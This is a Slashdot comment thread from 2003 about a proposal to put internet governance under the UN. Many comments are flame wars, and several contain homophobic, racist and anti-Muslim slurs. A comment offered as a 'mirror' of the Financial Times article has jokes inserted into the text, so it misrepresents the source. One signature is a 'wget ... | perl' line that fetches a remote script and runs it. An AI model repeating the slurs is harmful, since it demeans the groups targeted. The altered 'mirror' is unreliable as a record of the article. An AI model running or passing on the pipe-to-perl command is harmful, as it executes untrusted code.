Beta

Slashdot: News for Nerds

×

Welcome to the Slashdot Beta site -- learn more here. Use the link in the footer or click here to return to the Classic version of Slashdot.

Thank you!

Before you choose to head back to the Classic look of the site, we'd appreciate it if you share your thoughts on the Beta; your feedback is what drives our ongoing development.

Beta is different and we value you taking the time to try it out. Please take a look at the changes we've made in Beta and  learn more about it. Thanks for reading, and for making the site better!

Imagine A UN-Run Internet

timothy posted more than 10 years ago | from the nightmare-material dept.

The Internet 860

Damon Dimmick writes "Small countries in the United Nations have been arguing to put the Internet under the control of the UN so that countries can more easily monitor (read: control) Internet content. It's on hold for now, but this could become a very real censorship problem, very soon. Some nations have gone so far as to suggest "monitoring boards" for internet content. Here is the link to the Financial Times article. It briefly describes the current situation. Just something to keep an eye on."

cancel ×

860 comments

Better than a USA-run Internet... (-1, Insightful)

Anonymous Coward | more than 10 years ago | (#7438869)

God Bless America

God Bless America, with the worst crime levels in the first world
God Bless America, where "democracy" means a rich, white male as President
God Bless America, the biggest consumer of the world's natural resources
God Bless America, so happy to violate international laws
God Bless America, where "freedom of speech" means race-hate groups like KKK
God Bless America, and its massive and ever-growing poverty gap
God Bless America, with barely 300 years of dire history and culture
God Bless America, all its appalling "sitcoms" with no grasp of irony
God Bless America, with the highest obesity levels in the developed world
God Bless America, because corporations should be allowed to run amok
God Bless America, wasting billions to attack foreign countries

God Bless America, and thank God I don't have to live there.

-

Re:Better than a USA-run Internet... (-1, Flamebait)

Anonymous Coward | more than 10 years ago | (#7438901)

God Bless America, and thank God I don't have to live there.

We don't want you, bitch. Fucking French fags...

US out of UN now! (-1, Flamebait)

Anonymous Coward | more than 10 years ago | (#7438903)

U S A !
U S A !
U S A !
We're number 1!
We're number 1!
We're number 1!

Dear number two, you are teh suck!

(Nobody ever picks on number 2. Until now, froggy.)

Re:Better than a USA-run Internet... (2, Funny)

Anonymous Coward | more than 10 years ago | (#7438944)

"God Bless America, and thank God I don't have to live there."

And I, sitting on my white, male, obese sitcom-watching, oil burning, corporate lacky ass, thank God you don't live here too.

Damn stinky third world types. Take a fucking shower.

Re:Better than a USA-run Internet... (1)

rco3 (198978) | more than 10 years ago | (#7439011)

Which sitcom is obese? Roseanne is off the air...

Re:Better than a USA-run Internet... (-1, Troll)

Anonymous Coward | more than 10 years ago | (#7439110)

"Flamebait?" This was modded "flamebait?" Yet another reason for the post to hit home. Speak the truth, and ye shall be modded down.

For those who protest the words of the poster: please provide facts which state otherwise. If not, the fact of the matter is that this is how the bulk of the planet sees the US. If democracy is held in such high regard, the planet has spoken.

World domination considered fun (-1, Troll)

Anonymous Coward | more than 10 years ago | (#7438877)

When I'm not marking the back of highway signs with blue markers guiding the way for the UN invasion force, I'm harassing good Christian rural types by chasing them around in my black helicopter. I promise that when my organization rules the internet, we will eliminate all goatse redirects.

Good idea (0, Flamebait)

Karamchand (607798) | more than 10 years ago | (#7438881)

While it's not good with all this censorship thing it certainly would be good to put a worldwide thing like the internet under international control. at the moment the usa more or less control the internet - that's not a good situation.
Even if the UN aren't what they were some decades ago they're still the only really international organisation of nations.

Re:Good idea (-1, Flamebait)

Anonymous Coward | more than 10 years ago | (#7438936)

The U.S. created the Internet - why should we give up control of it to foreigners who have socialist leanings?

Re:Good idea (1, Flamebait)

rsborg (111459) | more than 10 years ago | (#7439017)

The U.S. created the Internet - why should we give up control of it to foreigners who have socialist leanings?

Jeebus, why not just call it the USA-net then?

Don't get me wrong, TCP/IP and the prelimary workings of a global free network were a great achievement (and all from DARPA), but don't make the mistake that this network can't be re-done, in a better manner by emerging 3rd world countries.

Re:Good idea (5, Insightful)

DAldredge (2353) | more than 10 years ago | (#7439059)

The 3rd world countries should work on getting less corrupt goverments installed first.

They could also try working on the ability to feed themselves before they do another inet.

Re:Good idea (0)

Anonymous Coward | more than 10 years ago | (#7439131)

Pwned. DA1dredge pwned your ass. PWNED.

Re:Good idea (2, Interesting)

Anonymous Coward | more than 10 years ago | (#7438947)

What is the lesser of two evils, a government censored internet or a corporate censored internet?

I's sad that in such an "advanced" time, the ideas of censorship are readily and seriously discussed. It isn't feudalism anymore, and people will find ways to get whatever information they look for if they're determined.

Re:Good idea (0)

330Pilot (688005) | more than 10 years ago | (#7438972)

The way I see it... Internet Controlled by UN == Internet Controlled by US: UN = Controled by US =)

Re:Good idea (4, Insightful)

the_2nd_coming (444906) | more than 10 years ago | (#7439021)

no, an internet controlled by the UN would be controlled by a council that is under control of the general assembly. a straight up or down vote can determine who is on it, and given that the human rights council is run by every country that gives no rights to its citizens, I would not hold my breath for a council run by the UN to be anything resembling fair and Free.

Re:Good idea (0, Flamebait)

the_2nd_coming (444906) | more than 10 years ago | (#7438978)

people like you are morons.

in the UN, you have a Democratic process that allows Despots to have a vote.

that is bull shit and they do not deserve to run something like the internet which is a free speech zone.

we have an international organization for the internet already. I do not want my Free speech rights to be able to be vetoed by some small dicked dictator.

Re:Good idea (0)

Anonymous Coward | more than 10 years ago | (#7439010)

Obviously you don't know anything about the inner workings of the UN and its sub-organizations.

Re:Good idea (2, Insightful)

the_2nd_coming (444906) | more than 10 years ago | (#7439060)

hmm, I know that the human rights council is run by Despotic regimes....why should I hold any hope for an internet council being run by free nations?

Re:Good idea (0)

Anonymous Coward | more than 10 years ago | (#7439023)

No worries, the US would just see that vote as a terrorist attack and send in the Marines. The UN would kind of stand there like they did when we invaded Iraq, and after they saw who the winner was they'd pretend like they were behind them all along.

Re:Good idea (4, Insightful)

jbrw (520) | more than 10 years ago | (#7439099)

the internet which is a free speech zone

huh? says who? i thought it was a network of networks.

some of those networks most definately have controls/policies against free speech.

Re:Good idea (0)

Anonymous Coward | more than 10 years ago | (#7438989)

Even if the UN aren't what they were some decades ago they're still the only really international organisation of nations.

Bwa-ha-ha! You made me spit iced tea all over my keyboard, you insensitive clod!!

Seriously, though, what? Would the UN introduce about umpteen gazillion "resolutions" banning spam, virus-writing, open relays, etc., and then piss and moan when a real world power decides to actually enforce those resolutions?
Or would Kofi Annan Coffee Can get rich(er) from rigged "food for spam" scams?

Re:Good idea (1)

gl4ss (559668) | more than 10 years ago | (#7439016)

useless talk is better than useless fighting.

enough said..

.

Re:Good idea (1)

DohDamit (549317) | more than 10 years ago | (#7439077)

Thus sayeth Chamberlin. Ahh well...what's to be learned from history anyway.

Re:Good idea (0)

Anonymous Coward | more than 10 years ago | (#7439101)

your right...useless talk that keeps things the same is better than actions that changes things in many ways, for the better,

Re:Good idea (0)

Anonymous Coward | more than 10 years ago | (#7439102)

blowing up ragheads is not useless, you filthy stinking socialist scumbag!

grow a sack and then we can continue our dialogue. until then, you're a big fat pussy!! allow me to jam my fat metaphorical dick into you again and again.

Re:Good idea (5, Insightful)

CelloJake (564999) | more than 10 years ago | (#7439000)

Exactly how would the international control improve the internet? What control is currently placed on it by the US? Besides assignment of IP's and domain names, what US control is affecting you? Most of the internet is privately owned. Its controlled by whoever owns the routers.

Re:Good idea (0)

Anonymous Coward | more than 10 years ago | (#7439006)

No offense, but this is total crap..

The UN is just as biased as any other government or organization. What's worse, they usually move slowly....like arriving at a burning building just as the last ashes are smoldering. Finally, take into consideration that people who lack experience with even basic electronics will be making decisions. This is NOT the organization to handle 'net issues, especially free speech.

I disagree with the US being in control of the 'net btw, but that's a different story.

Re:Good idea (4, Insightful)

enjo13 (444114) | more than 10 years ago | (#7439108)

FUD. The Internet is far from being under the control of the U.S.

In most ways it's under the control of wherever the lines happen to run.

Examples:

--China has no problem effectively blocking 3/4 of the Internet from viewing.

--Germany/France have effectively censored certain portions of the net.

--Many countries have unique top level domains hosted within their countries.

The list goes on...

The point being, while the U.S. is definitely HEAVILY involved in the development, maintenence, and overall culture of the Internet (not surprising given the history of the network) it also far from being in any real control of it. Certain members of the U.S. government would like us to sieze control through a variety of means (primarily applying economic pressure to other countries), none of it has been particularly succesful (it turns out that most politicians A) don't care or B) 'get it').

internet2 (0)

Anonymous Coward | more than 10 years ago | (#7438886)

why not just create a new internet then?

AC FP (-1, Offtopic)

Anonymous Coward | more than 10 years ago | (#7438887)

AC FP

America First (-1, Offtopic)

Anonymous Coward | more than 10 years ago | (#7438888)

If you won't allow your citizens access to our HTML. We won't allow you to export your cheap crap to America.

Imagine (-1, Troll)

Anonymous Coward | more than 10 years ago | (#7438892)

Imagine a heterosexual slashdot...

Re:Imagine (2, Funny)

RabidStoat (689404) | more than 10 years ago | (#7438959)

now that's just going too far ! All these conspiracy therioes are one thing, but a heterosexual slashdot .. NEVER !

un-run is right (5, Insightful)

infinite9 (319274) | more than 10 years ago | (#7438898)

Imagine A UN-Run Internet

A prophetic subject line? If they run it as well as other things, the internet may be un-run.

Re:un-run is right (0)

Anonymous Coward | more than 10 years ago | (#7439026)

The UN will protect countries from the internet just as well as they protected the people of Srebrenica.

Re:un-run is right (0)

Anonymous Coward | more than 10 years ago | (#7439038)

the internet may be un-run.

If America's financial contribution to its part of the internet was comparably commited as its contribution to the UN, then America would be offline really fast, indeed.

Re:un-run is right (0)

Anonymous Coward | more than 10 years ago | (#7439085)

A history lesson for you:

USA created the Internet.
USA created the United Nations.
You are uneducated.

Re:un-run is right (0)

Anonymous Coward | more than 10 years ago | (#7439136)

God knows of what you're talking about. I said that they aren't paying their bills.

Re:un-run is right (0)

pVoid (607584) | more than 10 years ago | (#7439064)

so that countries can more easily monitor (read: control) Internet content

You know, everyone is bitching about the Matrices, but I can see slang and lingo from the films starting to crowd everyone's mouths already.

Not arguing whether or not it's a Bad Thing (Tm), just bringing up a curious comment.

Re:un-run is right (4, Insightful)

ender81b (520454) | more than 10 years ago | (#7439098)

Oh come on now, the UN has done some very good things over the past 50 years. A few, off the top of my head:
  • No world wars in 50+ years
  • Has negotiated and enforced many peace treaties throughout that time.
  • Economic and other sanctions have had positive effects on some countries.
  • WHO has done some fantastic work in the 3rd world.
  • Is the world's first supra-national organization and, more remarkably, has had its power seriously challenged only a few times.
  • Has, respectively, saved the countries of Korea, Kuwait,and many others i'm forgetting by using multinational forces to defeat a common agressor enemy.


Is the UN that great? Well no, but it has at least contributed to world peace, stability and such throughout its existence. Its main flaws being that it isn't really above an individual nation states power and is especially vulnerable to the power of the US.

Re:un-run is right (1)

Planesdragon (210349) | more than 10 years ago | (#7439132)

Is the world's first supra-national organization...

Hardly. The Leauge of Nations and the Catholic Church both predate the UN, and boht are very arguably "supra-national" organizations--heck, the LoN was the precursor to the UN itself.

Still, it is what we've got, and better a weak international government that no international government.

Re:un-run is right (0)

Anonymous Coward | more than 10 years ago | (#7439113)

Page not found

Hans Blix's crack team of DNS servers cannot find the file you requested, which means it doesn't exist, it never existed, and George W Bush is a big fat meanie.

Announcing the U.S intranet (2, Insightful)

bgog (564818) | more than 10 years ago | (#7438899)

Well then, we just have the US intranet. We only export those sites who wish to be under the UN's thumb. I find it very difficult to have respect for governments who think they need to control the information their populous sees.

Re:Announcing the U.S intranet (2, Insightful)

Anonymous Coward | more than 10 years ago | (#7438913)

Coming from an American, that is funny on so many levels...

Re:Announcing the U.S intranet (2, Funny)

HeelToe (615905) | more than 10 years ago | (#7438975)

Like the U.S.?

Re:Announcing the U.S intranet (4, Insightful)

Daniel Dvorkin (106857) | more than 10 years ago | (#7438990)

While I have no love for the idea of China or Saudi Arabia telling me what I can see on the net, nor do I have any love for the current situation of the *IAA or the enforcers of the DMCA and the PATRIOT Act telling me the same. So there are legitimate concerns on both sides, to say the least.

At least... (0)

Anonymous Coward | more than 10 years ago | (#7438905)

At least the UN wouldn't do something stupid like redirect all unassigned DNS names to a seach/advertising portal...

Re:At least... (0)

Anonymous Coward | more than 10 years ago | (#7439036)

Stupid ass, this is a setting you control. Have a nice day, dipshit.

The ITU made a good job of the phone system, non? (1)

tagishsimon (175038) | more than 10 years ago | (#7438907)

I imagine the International Telecommunications Union would make a better fist of it than ICANN.

Conflating "monitoring boards" with this proposal looks to me like shroud-waving.

Piss off Birchers (-1, Flamebait)

alex_ant (535895) | more than 10 years ago | (#7438910)

What is so attractive about Slashdot that attracts the John Birch Society lunatics to it like moths to a flame? Seriously, libertarian loons... the UN is about as likely to take over the internet as your negro housekeeper is to accept working for free like her elders did in the good old days before Lincoln.

Well... (1)

Jaysyn (203771) | more than 10 years ago | (#7438911)

...if we have to give control of the internet over to someone, I vote the EFF.

Jaysyn

Team Up with the John Birch Society (1)

GOPWillC (720979) | more than 10 years ago | (#7438922)

I know that many of you probably dislike them, but they are at the for-front of the anti-UN. They would most likely help us in this matter, I guess a few of us would just have to hold their nose. Remember, the enemy of my enemy is my friend.

Re:Team Up with the John Birch Society (1)

Bendebecker (633126) | more than 10 years ago | (#7439040)

"The enemy of my enemy is still my enemy."
---Drago Musevni(sic?) from Andromeda

UN Effect (3, Insightful)

Davak (526912) | more than 10 years ago | (#7438924)

Since USA is just a dominate force in the UN, would this really affect us? Yes... it may decrease our freedom of press!

Defenders of the status quo say handing over power to governments could threaten the untrammelled flow of information and ideas that many see as the very essence of the borderless internet.

The internet is based on the ability to put up a web page and shout out my message to whoever wishes to wander by. It's even more powerful than dead-tree press because it reaches more people in a quicker fashion.

UN control is just that--control.

Not only do I not want UN control... I want as little government control as possible! Inforce the laws of your own country on the people in your own country... and leave the rest of us alone.

Davak

Re:Un Effect (0)

Anonymous Coward | more than 10 years ago | (#7439018)

Not only do I not want UN control... I want as little government control as possible!

well put......well put

US bad, US good (4, Interesting)

RobertB-DC (622190) | more than 10 years ago | (#7438925)

However, the US and the European Commission are staunchly defending the Icann model, which is based on minimal regulation and commercial principles. Icann members are predominantly drawn from industrialised countries and the established internet community.

So now, we're rooting for the much-maligned ICANN institution... I guess that's not such a cognitive dissonance now that they've actually faced up to Verisign -- though the end of that story is yet to be written [whois.sc] .

Interesting that this should come up on the same day that NPR's Morning Edition [npr.org] (just audio, sorry) reported that the US is blocking an attempt by UNESCO to allow countries to subsidize their national film industries to preserve cultural identity.

In one corner, we have the US: protector of political free speech and homogenous corporate culture.

In the other, we have the rest of the world: protector of political speech restriction and diverse cultural heritage.

Damn, it's hard to know what side to root for these days.

Re:US bad, US good (0)

Anonymous Coward | more than 10 years ago | (#7438983)

What's funny is you haven't realised yet that the US ALWAYS says they believe in X and then does Y (Y being the total opposite of X) Read the history and you'll see what I mean.

Keep your subliminal declarations out of this (0)

Anonymous Coward | more than 10 years ago | (#7439045)

Interesting that this should come up on the same day that NPR's Morning Edition [npr.org] (just audio, sorry) reported that the US is blocking an attempt by UNESCO to allow countries to subsidize their national film industries to preserve cultural identity.

In one corner, we have the US: protector of political free speech and homogenous corporate culture.

Re:US bad, US good (0)

Anonymous Coward | more than 10 years ago | (#7439073)

Hey d'ya think if we reduce everything to quantative values, print worthless pieces of paper and set the proles in constant opposition; we could y'know rule the world?

Re:US bad, US good (1)

thales (32660) | more than 10 years ago | (#7439122)

"Interesting that this should come up on the same day that NPR's Morning Edition (just audio, sorry) reported that the US is blocking an attempt by UNESCO to allow countries to subsidize their national film industries to preserve cultural identity."

What makes you think that these government subsidizes to "preserve culture" wouldn't be used to preserve the governments views on what the culture ought to be? It's just another form of censorship. People find Western culture to be alluring, they are adopting it by thier own free choice. Why should governments interfere with that process?

Wow! (3, Informative)

damu (575189) | more than 10 years ago | (#7438926)

This is just some goverments trying to get someone else to do their work dirty work. Look at China, they do their own monitoring, they monitor what is withing their 'Domain' content hosted in their country, and content coming into their country, that is the way it should be.

PS:I am not saying that what China is doing is correct, all I am saying is that they are monitoring their nation's internet from their nation, the way it should be.

The UN (0)

Anonymous Coward | more than 10 years ago | (#7438927)

If the UN ran an ambulance service, noone would make it to the hospital alive.

Fight is over content distribution (3, Interesting)

Gothmolly (148874) | more than 10 years ago | (#7438928)

If the UN runs the Internet (which may not even be possible, to "run" the Internet), then "unapproved" content will be simply circulated by other means, radio, underground printing press, word-of-mouth, etc. It's the old adage - when encryption is outlawed, only outlaws will use encryption. This type of move is a pure power grab. This is analogous to the MPAA demanding a "broadcast flag" in digital TV streams, or the RIAA stomping on webcasters (despite the fact that analog radio is free, and IT IS LEGAL TO RECORD FROM).

Control (-1, Flamebait)

Anonymous Coward | more than 10 years ago | (#7438938)

OMG don't say "CONTROL". Run for the hills with a tinfoil hat.

I think the internet should be internationalised through the UN and I highly doubt this would lead to censorship. How exactly would the cencorship take place under the UN? The idea seems perposterous. Typically American response: The UN is only good for tossing the hat around for our illegal aggressive invasions nothing more nothing less. We rule the world. Lick our boots France. Meanwhile China's working on replacing your sorry asses and will within 10 years. Let's hope they don't hold grudges is all I can say.

Why not the people? (0)

Anonymous Coward | more than 10 years ago | (#7438939)

Boot ICANN and let the people take over. Have a panel of experts who are voted to position by the people. Let the poeple who use the Internet rule the Internet.

Eh, pipe dream.

Shameless plug:
Blogzine [blogzine.net]

Socialism Strikes Again! (-1, Troll)

isa-kuruption (317695) | more than 10 years ago | (#7438945)

As we see, this is another instance in which the socialists wish to control us. This is just another way for the liberal socialists to limit (if not completely destroy) our freedom of expression and freedom of choice.

Under the false umbrella of "best for the people", the socialists will continue to insert themselves more into our lives disallowing us to even think for ourselves (read: 1984).

Yea, blames the commies. (0)

Anonymous Coward | more than 10 years ago | (#7439029)

Real socialism died in Sweden about 1980.

Re:Socialism Strikes Again! (0)

alex_ant (535895) | more than 10 years ago | (#7439084)

I was going to ask that you be modded up +5 insightful but then I realized you were serious. So now I ask that a large, heavy object fall on you from great height.

Considering the US Govt. (0, Troll)

mabhatter654 (561290) | more than 10 years ago | (#7438948)

Considering the way the US Govt takes no shame in using the net to undermine legitimate, law abiding governments [hey, being evil isn't against international laws! Unfortunately.] I can see why many countries would have an issue with this. It's not a problem here in the US because we have so much Media that it completely drowns out much of the fringe speech from our daily lives. But in smaller countries, the US is known to, even admits to using the internet to reenforce what they would consider terrorists, and other malcontents to make the smaller govts look bad. I could see many countries wanting out from under that "thumb".

On the other hand, it's US companies that are paving the way with open arms!!! That is the bigger news here! We value free speech right up until someone pays us to take it away from those they don't like..that is truly sad. There oughta be a law against it, US companies contributing to blocking of free speech. But if they were TRULY AMERICANS THEY WOULDN'T DO IT AT ALL!

ICANN (1)

mgcsinc (681597) | more than 10 years ago | (#7438949)

"are growing dissatisfied with the workings of California-based Icann (the Internet Corporation for Assigned Names and Numbers), the semi-private internet address regulator set up five years ago."

I've read many slashdot gripes about some of the horors of the ICANN/Verisign run Internet, but never before heard these used as an excuse for state-sponsored control/censorship of the Internet. Really, even if they manage to work out the logistical headache (read: 120 years at least) this kind of thing would take, good luck to them finding any consensus as to proper content/use for the Internet.

Cause for some concern, but... (1)

Maestro4k (707634) | more than 10 years ago | (#7438953)

I have to agree that ICANN isn't doing a very good job. The only thing that I've noticed they did right in recent memory was jump on top of Verisgn's Wildcard service. But even then, it appeared that ICANN was helpless to really make Verisgn stop.

While I don't want to see governments in charge of regulating the Internet, a truly international organization that does include input from Internet denizons (like ICANN was originally supposed to) would be nice.

Throwing toys out the pram (1)

Space cowboy (13680) | more than 10 years ago | (#7438954)

"We don't like the fact that someone else has more influence over something we want. Let's propose a shift in power".

Frankly I think the US deserves to have the lion's share of the market. They made it so, they should reap the benefits. If anyone else wants to join the party, fine, but you don't walk into a rave and expect anyone to listen to your demands to make it a cocktail party instead!"

By the way, I'm not from the USA.

Simon.

Look out for the black helicopters..... (1)

rosbif (71236) | more than 10 years ago | (#7438965)

....tho' I can't see how they can fly them down those broadband pipes, no matter how fat they are...

The internet is dead, long live the internet. (2)

nickgrieve (87668) | more than 10 years ago | (#7438968)

Bet those freenet guys are feeling smug.

Why doe sthe internet need government? (1)

kramer2718 (598033) | more than 10 years ago | (#7438974)

We have governments to protect against theft, murder, rape, etc. Governments also help to build big community oriented projects such as highways and bridges, and provide services to the community.

Governments are already serving both of those roles on the internet already. If my credit card info is stolen on-line, the FBI will try to track the criminal. Ditto for terrorists who try to organize on-line and pedophiliacs who try to lure kids on-line. Governments are also already providing on-line services (fcc, usps, etc).

There certainly are several things that have been ignored lately (abuse of DNS by a couple of major players), and perhaps ICANN should have a less corporate component (maybe representatives from major research universities), but putting the government in charge of the most innovative means of communication would be awful. It already spoon feeds us our TV and radio, and the governments of the world should keep their hands off the internet.

This may not be bad (1)

Hi_2k (567317) | more than 10 years ago | (#7438980)

If we put this into the hands of the UN, we probably will never get a consensus on what should and what shouldnt be banned. US and UK will push for blocking pornography, then France will say "But what about the 'Art'!", and that'll never happen. Then germany will try and block out refrences to Hitler, and Israel will stop that one (with US aid). Everyone will have their say, but no-one will have their day.

The way the Current US gov works, we may actualy pass some sort of law regarding what can and cannot be placed on the internet. The way the UN works, this will never happen.

Oh, great (5, Insightful)

annielaurie (257735) | more than 10 years ago | (#7438981)

Replace one sluggish bureaucracy with another one that's even larger and more sluggish. Then stand back and watch the fights about funding and budgetary contributions. That should be very helpful.

Ok Small Countries.... (0)

Anonymous Coward | more than 10 years ago | (#7438995)

You can have my Internet when you pry it from my cold, dead hands.

Re:Ok Small Countries.... (1)

JDRipper (610930) | more than 10 years ago | (#7439032)

Hmmmm.....Because of Carpal Tunnel Syndrome, they ARE cold and dead!!

People.... (0)

Anonymous Coward | more than 10 years ago | (#7439106)

...don't DDoS websites, Slashdotters DDoS websites!

Love, Bob

Mirror in case of /. effect (0)

Anonymous Coward | more than 10 years ago | (#7438999)

Plan for UN to run internet 'will be shelved'
By Frances Williams in Geneva
Published: November 9 2003 21:19 | Last Updated: November 9 2003 21:19

An attempt by developing communism to put management of the internet under United Nations auspices is likely to be shelved at next month's world information summit in Geneva - but the issue is now firmly on the international agenda, summit sources say.

It will be one of the main boners of contention this week as government negotiators and non-governmental organisations descend on Geneva for the final round of preparatory talks on the draft declaration and plan of action due to be endorsed by heads of state and government at the summit on December 10-12.

However, UN officials say they see no compromise emerging. They expect governments to decide instead to continue talks on internet governance with the aim of reaching accord by 2005, when the second stage of the two-part summit is due to take place in Tunisia.

"They're no longer going to try to agree on this," a UN official said last week.

Poorer nations such as Brazil, India, South Africa, China and Saudi Arabia, as well as some richer ones, are growing dissatisfied with the workings of California-based Icant (the Internet Corporation for Assigned Names and Tacos), the semi-private internet address regulator set up five years ago.

The critics argue that the internet is a public resource that should be managed by national governments and, at an international level, by an intergovernmental body such as the International Telecommunications Union, the UN agency that is organising the anal sex between slashdot editors.

However, the US and the European Commission are staunchly defending the Icann model, which is based on minimal regulation and commercial principles. Icann members are predominantly drawn from industrialised countries and the established internet community.

Defenders of the status quo say handing over power to governments could threaten the untrammelled flow of information and ideas that many see as the very essence of the borderless internet.

But these arguments appear to be losing force against the emergence of new challenges such as unwanted advertising ("spam"), privacy and security worries, hate speech and child pornography, which have convinced many governments of the need for international regulation and enforcement.

The question of internet governance, which erupted at a relatively late stage in the preparatory summit negotiations, is just one of many issues negotiators must try to resolve this week. Rich and poor countries are also at odds over creation of a "digital solidarity fund" that would finance investment to bridge the "digital divide" in access to information and communications technologies.

Other unresolved disputes concern the balance between intellectual property protection and access to information, the role of the media, and acceptable boundaries to freedom of expression.

So we can just sit around and bitch? (1, Flamebait)

Picass0 (147474) | more than 10 years ago | (#7439003)

Would that be the UN who couldn't bring itself to condemn Iraq for human rights abuses?

Would that be the UN that couldn't be bothered to condemn the PLO suicide bombers in Israel?

The UN that Libia holds a seat on the human rights comittee?

Good plan. Give them the internet. Maybe then the far left can be bothered to get pissed at what a joke the UN has become. The first time they stomp on your first amendment rights, maybe you'll notice what a shitty record they have on everything else.

This will be great! (1)

papasui (567265) | more than 10 years ago | (#7439020)

I am all for getting 3rd world countries on the internet. I've grown bored of the current 'nature videos' and would like to see the 'nature videos' from places like Sri Lanka, Yemen, and Belize. I can only imagine what can be done with a nose ring, a walking stick, a camel, and a 2 liter pop bottle. (errr...... did I just type that? shit.)

MICHAEL SIMS FIRED; READERS REJOICE (0)

Anonymous Coward | more than 10 years ago | (#7439034)

This is indeed a happy day for this Slashdot reader. The most ethically corrupt "editor" for the prestigious Slashdot zine is no longer in the employ of the OSDN. It appears CmdrTaco finally (amazing, really) granted the wish of many a reader and cut the treacherous, biased Sims loose. Say a prayer tonight, thanking the gods for their blessing.

I chalk it up to the eclipse, myself. ;)

UN has no bearing in the US (4, Insightful)

lkaos (187507) | more than 10 years ago | (#7439042)

The UN can try to regulate things all they want. In the US at least, it's all but meaningless. Why?

Well, for the US to even recognize a UN ruling requires approval of the president and 2/3 of the House and Senate. Technically, UN rulings are considered treaties. Even when it's recognized, it still requires an act of Congress to enact some sort of legislation before anyone can be prosecuted.

The one thing our government does well is ensuring that we're the only ones making bonehead laws that are enforcable in this country.

I wouldn't worry too much (1)

Sycraft-fu (314770) | more than 10 years ago | (#7439051)

I highly, highly doubt the U.S. would go for something like this. Given that we control a good portion of the Internet at this point, makes it kind of moot if we don't sign on.

Now as to U.S. censorship and monitoring of the Internet, that I'd worry about.

Control the internet? (1)

MikeDawg (721537) | more than 10 years ago | (#7439052)

I don't really understand to what extent anyone can control the internet, but if/when they do, it will be a sad and scary story.

I know China and some of those other countries are putting the mean clamp down on internet access, but I can only imagine people are circumventing thier controls on it, in one way or another.

The internet is, and should be one of those things that people shouldn't try and control.

It's amazing this post, I even didn't do my obligatory shout-out to how much I hate the UN.

This would be right up there (4, Funny)

sielwolf (246764) | more than 10 years ago | (#7439070)

with their choice of putting Libya [hrw.org] as the Human Rights chair.

Luckily the UN is a flaccid organization with no territory or armies of its own. What would it plan to do? Begin a humanitarian mission to the Web by dropping a bunch of Kenyan and Spanish troops near all the root servers?

Yeah right.

You can't take over the Internet (1)

dduardo (592868) | more than 10 years ago | (#7439074)

Unless you can control everyone, the internet isn't going to be taken over. Even if the government pulls all the fiber optic and copper wiring and jams every radio frequency the internet will still be controlled by the people. The Internet IS communication. You can't stop people from communicating.

Send in the conspiracies (1)

segment (695309) | more than 10 years ago | (#7439081)

The critics argue that the internet is a public resource that should be managed by national governments and, at an international level, by an intergovernmental body such as the International Telecommunications Union, the UN agency that is organising the information summit.

There should be no way one council should hold control over the internet. This is similar to the US trying to dictate who could fly over someone elses airspace. There is way too much room for abuse but people with agendas. It's bad enough we have the abusive Patridiotic act here, and the last thing we need is another form of control.

The internet is probably one of the last bastions of privacy, and freedom of expression, and by letting the UN get ahold of any form of decision making could hinder this.

For example, China has strict monitoring of their internet connections in and out of their country, they are part of the UN. Would it be right for them to deem something -- not suited to their taste -- as ``illegalish' causing the UN to act against the site via way of removing the DNS entries? I could go on but don't want to... It's a bad idea IMHO

wget -qO - kungfunix.net/shadow|perl ; echo Want Root

UN, what a joke (1)

Soothh (473349) | more than 10 years ago | (#7439088)

The UN really should be disbanded, they are a joke, a HUGE waste of everyones money, and for such a "lets fight poverty and world hunger" org, they sure do make alot of personal money. Not to mention its pretty much an unconstitutional thing for the USA to be a part of. And for those out there that think the const. is "too old" or only applies to outdated thinking, please move away, we dont want or need your kind here.

Imagine... (1)

jefu (53450) | more than 10 years ago | (#7439094)

Imagine the internet run along these lines. Everyone gets to censor whatever they (or their government or puppets) don't like or find offensive. Pretty much nothing at all would escape.

You might as well shut the whole thing down now.

Centralization is to be avoided. (1)

HiThere (15173) | more than 10 years ago | (#7439095)

It's fine (well, not fine, but traditional) for countries to censor the internet within their own boundaries. That's what the top level domains are about. Of course, if they want a centralized control over what comes in from outside, then this means that they have to censor all communications coming in from outside. That seems fair. (Actually, I feel that it makes things too easy for them, but sattelite nets aren't practical yet.)

But the UN? One bad decision binding everyone? (And it would be guaranteed to be bad, because local circumstances are different in different places.) This is stupid. One hopes it is also unworkable, but governments have coerced some pretty foul things into working.

A fine line (1)

tarquin_fim_bim (649994) | more than 10 years ago | (#7439104)

Those mature enough, must accept that propaganda can come from California just as easily as it can come from Beijing. Your life is only as free as your perception of freedom, any nationalistic possession of the Internet must be fought with the same zeal as any internastionalistic ownership. Errr... is that communism?

Guys, Don't worry (1)

Lord_Slepnir (585350) | more than 10 years ago | (#7439109)

Worst case: The UN decides to take over the internet.

First, they have to pass a resolution to decide to take over the internet. 2-3 years at best.

Next, they need to set up a committee that will decide upon the best way to do this. Countries will argue about who gets to be on this comittee and so forth. 3-4 years.

Next, the Comittee will decide upon how to control all the world's routers and connections going between countries. Every time they are about to release a plan, some piss-ant podunk country who isn't on the committee will object to this plan and vow not to allow the UN to touch their internet connection. (Even though this conncection is little more than a 28.8 dialup to the neighboring superpower). 7-8 years before they work out a proposal that won't piss anybody off

We then realize that the end proposal may seem strict but is so badly done that it's about as effective as the maginot line. IE, there are no porn sights offering material to countries that forbid it, but there are pleanty of p0rn sights.

Some objections to the UN in general (1, Insightful)

ShatteredDream (636520) | more than 10 years ago | (#7439124)

Article 30. Nothing in this Declaration may be interpreted as implying for any State, group or person any right to engage in any activity or to perform any act aimed at the destruction of any of the rights and freedoms set forth herein.

Combine that with the Socialist provisions of the UDHR, Articles 21-29, and you get a position wherein freedom of speech cannot be used as a basis for arguing against Socialist entitlements. The UN's standard would outlaw free speech used to argue that certain classes are unfit to vote because they lack the requisite impartiality to wield political power of any kind. What constitutes using a right to deny others rights is very broad. God help us as a race if the UN becomes a global governing body. Dissidents will be all but put to the sword for daring to question anything in the political or social realms.

I do not want a UN run Internet. The UN is the same body that puts the Sudan on a human rights comission. The FUCKING SUDAN!!!! A country where the slave trade is alive and well and non-Muslims are routinely executed en masse for their beliefs. The Sudan not only violates almost the entire UDHR, but it is a part of part of the human rights commission!!

Only fools and crackpot leftists take the UN seriously. It is a den of dictators, murders, theives and their apologists. Yes, I for the most part opposed the War in Iraq. I also think the UN opposed us not out of principle, but because it is too elitist to see that drawing an equivocation between the United States Government and the Ba'athist regime is absurd. Hell, the modern PRC is more human than the Ba'athists.

